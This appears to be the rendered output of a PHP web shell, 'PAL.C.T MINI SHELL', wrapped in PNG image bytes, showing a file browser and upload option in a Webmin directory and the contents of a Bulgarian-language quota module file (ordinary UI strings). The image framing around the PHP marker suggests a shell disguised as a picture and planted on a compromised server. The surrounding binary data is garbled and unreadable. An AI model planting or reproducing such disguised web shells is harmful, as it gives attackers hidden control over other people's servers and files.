php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/quota/lang/
upload
files >> //usr/libexec/webmin/quota/lang/bg.auto

quota_unlimited=неограничен

acl_fss=Файлови системи, които този потребител може да редактира
acl_fall=Всички файлови системи
acl_fsel=Избрани ..
acl_ro=Може ли само да гледате квоти, а не да редактирате?
acl_quotaon=Може ли да активирате и деактивирате квотите?
acl_quotanew=Може ли да конфигурирате квоти за нови потребители?
acl_ugrace=Може ли да редактирате гратисни времена на потребителя?
acl_vtotal=Може ли да видите общото дисково пространство?
acl_ggrace=Може ли да редактирате времена за групови грации
acl_uquota=Потребителите, които този потребител може да редактират квоти за
acl_gquota=Групи, които този потребител може да редактира квоти за
acl_uall= Всички потребители
acl_uonly= Само потребители
acl_uexcept= Всички с изключение на потребителите
acl_ugroup= Потребители с основна група
acl_gall= Всички групи
acl_gnone= Няма групи
acl_gonly= Само групи
acl_gexcept= Всички с изключение на групите
acl_uuid=Потребители с UID в обхват
acl_ggid=Групи с GID в обхват
acl_maxblocks=Максимално допустима квотна квота
acl_maxfiles=Максимално допустима квота за файлове
acl_unlimited=неограничен
acl_email=Мога ли да настройвате известия по имейл?

activate_eallow=Нямате право да активирате или деактивирате квоти в тази файлова система
activate_eon=Неуспешно включване на квоти
activate_eoff=Неуспешно изключване на квотите

check_title=Проверете квотите
check_return=$1 списък
check_ecannot=Не можете да проверите квотите в тази файлова система
check_running=Командата <tt>quotacheck</tt> се изпълнява, за да провери използването на блока и файловете на <tt>$1</tt>. Това може да отнеме много време за много голяма файлова система. ..
check_done=... Свършен.
check_rgroup=група
check_ruser=потребител

cgroup_efail=Неуспешно копиране на квоти
cgroup_ecannot=Не можете да копирате квоти
cgroup_egallow=Нямате право да копирате квотите на тази група
cgroup_enogroup=Няма групи, в които да копирате
cgroup_eallowto=Нямате право да копирате квоти до „$ $1“

cgform_title=Копиране на квоти
cgform_return=групова квота
cgform_ecannot=Не можете да копирате квоти
cgform_egroup=Нямате право да копирате квотите на тази група
cgform_copyto=Копирайте квоти за <tt>$1</tt> във ВСИЧКИ файлови системи в. ..
cgform_all=Всички групи във вашата система
cgform_select=Избрани групи
cgform_contain=Групи, съдържащи потребители
cgform_doit=копие

cuser_efail=Неуспешно копиране на квоти
cuser_ecannot=Не можете да копирате квоти
cuser_euallow=Нямате право да копирате квотите на този потребител
cuser_enouser=Няма потребители, които да копират
cuser_eallowto=Нямате право да копирате квоти до „$ $1“

cuform_title=Копиране на квоти
cuform_return=потребителска квота
cuform_ecannot=Не можете да копирате квоти
cuform_euallow=Нямате право да копирате квотите на този потребител
cuform_copyto=Копирайте квоти за <tt>$1</tt> във ВСИЧКИ файлови системи в. ..
cuform_all=Всички потребители на вашата система
cuform_select=Избрани потребители
cuform_members=Членове на избрани групи
cuform_doit=копие

egroup_title=Редактиране на групова квота
egroup_freturn=списък на файловата система
egroup_greturn=списък на групата
egroup_eallowgr=Нямате право да редактирате квоти за „$ $1“
egroup_eallowfs=Нямате право да редактирате квоти в тази файлова система
egroup_quotas=Квота за <tt>$1</tt> на <tt>$2</tt>
egroup_bused=Използвани блокове
egroup_kused=Използвани килобайти
egroup_sblimit=Ограничен блок
egroup_hblimit=Ограничаване на твърд блок
egroup_sklimit=Ограничение за мек килобайт
egroup_hklimit=Ограничение за твърд килобайт
egroup_fused=Използвани файлове
egroup_sflimit=Софт файл Ограничаване
egroup_hflimit=Ограничаване на твърд файл
egroup_update=Актуализация
egroup_listall=Избройте всички квоти
egroup_listalldesc=Щракнете върху този бутон, за да се покаже списък с всички файлови системи, в които тази група има дискови квоти, с връзки за редактирането им.

euser_title=Редактиране на потребителска квота
euser_freturn=списък на файловата система
euser_ureturn=потребителски списък
euser_eallowus=Нямате право да редактирате квоти за „$ $1“
euser_eallowfs=Нямате право да редактирате квоти в тази файлова система
euser_quotas=Квота за <tt>$1</tt> на <tt>$2</tt>
euser_bused=Използвани блокове
euser_kused=Използвани килобайти
euser_bdisk=Налични блокове на диск
euser_kdisk=Налични килобайти на диск
euser_sdisk=Налично пространство на диска
euser_sblimit=Ограничение за мек блок
euser_hblimit=Ограничение за твърд блок
euser_sklimit=Ограничение за мек килобайт
euser_hklimit=Ограничение за твърд килобайт
euser_fused=Използвани файлове
euser_fdisk=Налични файлове на диска
euser_sflimit=Ограничение за мек файл
euser_hflimit=Ограничение за твърд файл
euser_update=Актуализация
euser_listall=Избройте всички квоти
euser_listalldesc=Щракнете върху този бутон, за да се покаже списък с всички файлови системи, на които този потребител има дискови квоти, с връзки за редактирането им.

gfilesys_title=Групови квоти
gfilesys_return=списък на файловите системи
gfilesys_ecannot=Не можете да редактирате квоти за „$ $1“
gfilesys_all=Всички квоти за $1 
gfilesys_blocks=блокове
gfilesys_kbs=Килобайтове
gfilesys_space=Дисково пространство
gfilesys_files=файлове
gfilesys_fs=Файлова система
gfilesys_used=Използва се
gfilesys_soft=Мек лимит
gfilesys_hard=Твърд лимит
gfilesys_nogquota=Групата <tt>$1</tt> няма квоти за нито една файлова система
gfilesys_edit=Редактиране на квотата:
gfilesys_copy=Копиране на квоти
gfilesys_editdesc=Преглеждайте и редактирайте квотите за тази група в някаква друга файлова система, за която в момента няма квоти.
gfilesys_copydesc=Копирайте ограниченията за квоти за тази група във всички файлови системи в някои или всички други групи.
gfilesys_enone=Не е въведено име на групата

ggracef_title=Грейс Таймс
ggracef_return=списък на групата
ggracef_ecannot=Не можете да редактирате гратисни времена в тази файлова система
ggracef_info=Всяка файлова система има гратисно време за блокови и файлови квоти. Времето за изящество определя колко дълго може да остане групата над мекия лимит, преди да се разрешава създаването на повече файлове.
ggracef_graces=Групова грация времена за <tt>$1</tt>
ggracef_block=За блокова квота
ggracef_file=За файлова квота
ggracef_update=Актуализация

ggraces_esave=Не успя да запази благодатните времена
ggraces_eedit=Не можете да редактирате гратисни времена в тази файлова система
ggraces_enumber='$ $1' не е число

index_quser=Потребителски квоти
index_qgroup=Групови квоти
index_qboth=Потребителски и групови квоти
index_active=активен
index_disable=Деактивирайте квотите
index_inactive=неактивен
index_enable=Активиране на квотите
index_supported=Квотите все още не се поддържат
index_enable2=Активиране на поддръжката
index_mountonly=Може да се активира само при монтиране
index_title=Дискови квоти
index_fs=Файлова система
index_type=Тип
index_mount=Монтиран от
index_status=Статус
index_action=действие
index_return=индекс
index_euser=Редактиране на потребителски квоти:
index_euserdesc=Въведете или изберете потребител и щракнете върху този бутон, за да видите квотите му във всички файлови системи.
index_egroup=Редактиране на групови квоти:
index_egroupdesc=Въведете или изберете група и щракнете върху този бутон, за да видите квотите му във всички файлови системи.
index_nosupport=Никоя локална файлова система не може да поддържа квоти.
index_mountmod=Можете да активирате квоти за файлова система в модула <a href='$1'>Дискови и мрежови файлови системи</a>.

lgroups_failed=Неуспешно изброяване на групи
lgroups_tablist=Списък на групите
lgroups_eallow=Нямате право да редактирате квоти в тази файлова система
lgroups_title=Квоти за файловата система
lgroups_return=списък на файловите системи
lgroups_toomany=Твърде много групи имат квоти на <tt>$1</tt>, за да се показват на една страница
lgroups_quotas=Всички групови квоти на <tt>$1</tt>
lgroups_blocks=блокове
lgroups_kbs=Килобайтове
lgroups_space=Дисково пространство
lgroups_files=файлове
lgroups_group=група
lgroups_used=Използва се
lgroups_soft=Мек лимит
lgroups_hard=Твърд лимит
lgroups_noquota=Никоя група няма квоти за <tt>$1</tt>
lgroups_equota=Редактиране на квота за:
lgroups_grace=Редактирайте Грейс Таймс
lgroups_check=Проверете квотите
lgroups_info=Webmin може да бъде конфигуриран да задава автоматично квотите в тази файлова система, когато се създаде нова група Unix. Това ще работи само когато модулът $1 Webmin се използва за добавяне на групи.
lgroups_newgroup=Нови групови квоти
lgroups_mass=Актуализиране на избраните групи
lgroups_to=Дестинация по имейл
lgroups_tosame=Пощенска кутия със същото име като група
lgroups_tofixed=Адрес $1
lgroups_emailheader=Изпратете имейл до групи, приближаващи квота
lgroups_email=Изпращане на имейл до групи?
lgroups_tovirt=Собственик на виртуален домейн

sgroup_egroup=Нямате право да редактирате квоти за тази група
sgroup_efs=Нямате право да редактирате квоти в тази файлова система

ssync_ecannot=Не можете да зададете квотата по подразбиране за тази файлова система

suser_euser=Нямате право да редактирате квоти за този потребител
suser_efs=Нямате право да редактирате квоти в тази файлова система
suser_emaxblocks=Нямате право да предоставяте ограничения за блокиране над $1 
suser_emaxfiles=Нямате право да предоставяте ограничения за файлове над $1 

ufilesys_title=Потребителски квоти
ufilesys_return=списък на файловите системи
ufilesys_ecannot=Не можете да редактирате квоти за „$ $1“
ufilesys_all=Всички квоти за <tt>$1</tt>
ufilesys_blocks=блокове
ufilesys_kbs=Килобайтове
ufilesys_space=Дисково пространство
ufilesys_files=файлове
ufilesys_fs=Файлова система
ufilesys_used=Използва се
ufilesys_soft=Мек лимит
ufilesys_hard=Твърд лимит
ufilesys_nouquota=Потребителят <tt>$1</tt> няма квоти за нито една файлова система
ufilesys_edit=Редактиране на квотата:
ufilesys_editdesc=Преглеждайте и редактирайте квотите за този потребител в някаква друга файлова система, за която в момента той няма квоти.
ufilesys_copydesc=Копирайте ограниченията за квоти за този потребител във всички файлови системи на някои или всички други потребители.
ufilesys_copy=Копиране на квоти
ufilesys_grace=грация
ufilesys_enone=Няма въведено потребителско име

ugracef_title=Грейс Таймс
ugracef_return=потребителски списък
ugracef_ecannot=Не можете да редактирате гратисни времена в тази файлова система
ugracef_info=Всяка файлова система има гратисно време за блокови и файлови квоти. Времето за изящество определя колко дълго може да остане потребителят над мекия лимит, преди повече файлове да бъдат създадени.
ugracef_graces=Потребителска грация време за <tt>$1</tt>
ugracef_block=За блокова квота
ugracef_file=За файлова квота
ugracef_update=Актуализация

ugraces_esave=Не успя да запази благодатните времена
ugraces_eedit=Не можете да редактирате гратисни времена в тази файлова система
ugraces_enumber='$ $1' не е число

lusers_failed=Неуспешно списъци с потребители
lusers_tablist=Списък с потребители
lusers_tabdefault=Квоти по подразбиране
lusers_tabemail=Известия по имейл
lusers_eallow=Нямате право да редактирате квоти в тази файлова система
lusers_title=Квоти за файловата система
lusers_return=списък на файловите системи
lusers_toomany=Твърде много потребители имат квоти на <tt>$1</tt> за показване на една страница
lusers_qoutas=Всички потребителски квоти на <tt>$1</tt>
lusers_bsize=Размер на блока с квоти: $1 байта
lusers_blocks=блокове
lusers_kbs=Килобайтове
lusers_space=Дисково пространство
lusers_files=файлове
lusers_user=потребител
lusers_used=Използва се
lusers_soft=Мек лимит
lusers_hard=Твърд лимит
lusers_grace=грация
lusers_noquota=Няма потребители да имат квоти за <tt>$1</tt>
lusers_equota=Редактиране на квота за:
lusers_egrace=Редактирайте гратисните времена
lusers_check=Проверете квотите
lusers_info=Webmin може да бъде конфигуриран да задава автоматично квотите в тази файлова система, когато се създаде нов потребител на Unix. Това ще работи само когато модулът $1 Webmin се използва за добавяне на потребители.
lusers_useradmin=Потребители и групи
lusers_newuser=Нови потребителски квоти
lusers_sblimit=Мек лимит
lusers_hblimit=Твърд лимит
lusers_sflimit=Ограничение за мек файл
lusers_hflimit=Ограничение за твърд файл
lusers_pc_hblocks=Твърд %
lusers_pc_sblocks=Мек %
lusers_apply=Приложи
lusers_emailheader=Изпратете имейл до потребителите, приближаващи квотата
lusers_email=Изпращане на имейл до потребителите?
lusers_interval=Интервал между съобщенията
lusers_hours=часа
lusers_ltype=Тип ограничение
lusers_percent=Предупреждавайте, когато използването достигне
lusers_domain=Домейн за потребителски адреси
luser_virtualmin=Вземете домейн от Virtualmin?
lusers_from=От: адрес за имейл
lusers_mass=Актуализиране на избраните потребители
lusers_cc=Изпратете също имейл до
lusers_nocc=Никой

grace_seconds=секунди
grace_minutes=Минути
grace_hours=Часа
grace_days=дни
grace_weeks=седмици
grace_months=Месеци

log_activate_u=Активирани потребителски квоти на $1 
log_activate_g=Активирани групови квоти на $1 
log_activate_ug=Активирани квоти за потребители и групи на $1 
log_deactivate_u=Изключени потребителски квоти на $1 
log_deactivate_g=Групови квоти с увреждания за $1 
log_deactivate_ug=Деактивирани квоти за потребители и групи на $1 
log_save=Променени квоти за $1 на $2 
log_sync=Променени нови потребителски квоти на $1 
log_email_user=Променете опциите за потребителски имейл на $1 
log_email_group=Промяна на опциите за групова електронна поща на $1 
log_gsync=Променени нови квоти за групи на $1 
log_grace_u=Променени графични времена на потребител на $1 
log_grace_g=Променено време за групова гратисност на $1 
log_check=Проверени квоти на $1 
log_copy_u=Копирани потребителски квоти $1 
log_copy_g=Копирани квоти за група $1 
log_support=Активирана поддръжка за квоти за $1 

email_err=Опциите за запазване на имейла не бяха успешни
email_ecannot=Нямате право да променяте опциите за електронна поща
email_einterval=Липсващ или невалиден интервал
email_epercent=Липсващ или невалиден процент на използване
email_edomain=Липсващ или невалиден домейн за поща
email_efrom=Липсва или е невалиден От: адрес
email_ecc=Липсващ или невалиден Cc: адрес
email_msg=Използването на диска за потребител $1 във файлова система $2 достигна $3% от разрешената квота. $4 от дисковото пространство се използва, максимум $5.
gemail_msg=Използването на диска за група $1 във файлова система $2 достигна $3% от разрешената квота. $4 от дисковото пространство се използва, максимум $5.
email_subject=Дисковата квота е превишена
gemail_subject=Дисковата квота е превишена
email_eto=Липсващ имейл адрес на местоназначение

umass_title=Актуализиране на потребителските квоти
umass_header=Промените в квотите се прилагат към избрани потребители
umass_sblocks=Ограничение за мек блок
umass_hblocks=Ограничение за твърд блок
umass_sfiles=Ограничаване на меките файлове
umass_hfiles=Ограничение за твърди файлове
umass_leave=Оставете непроменена
umass_unlimited=Зададен на неограничен
umass_set=Настроен на
umass_ok=Актуализиране на потребителите
umass_esblocks=Липсва или невалидна граница за мек блок
umass_ehblocks=Липсва или невалиден ограничение за твърд блок
umass_esfiles=Липсва или невалиден лимит за меки файлове
umass_ehfiles=Липсва или невалиден ограничение за твърд файл
umass_count=Промените по-долу ще се прилагат за $1 избрани потребители ..
umass_err=Неуспешна актуализация на потребителските квоти

gmass_title=Актуализиране на групови квоти
gmass_header=Промените в квотите се прилагат към избрани групи
gmass_count=Промените по-долу ще се прилагат за $1 избрани групи ..
gmass_ok=Актуализиране на групи
gmass_err=Неуспешно актуализиране на групови квоти
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`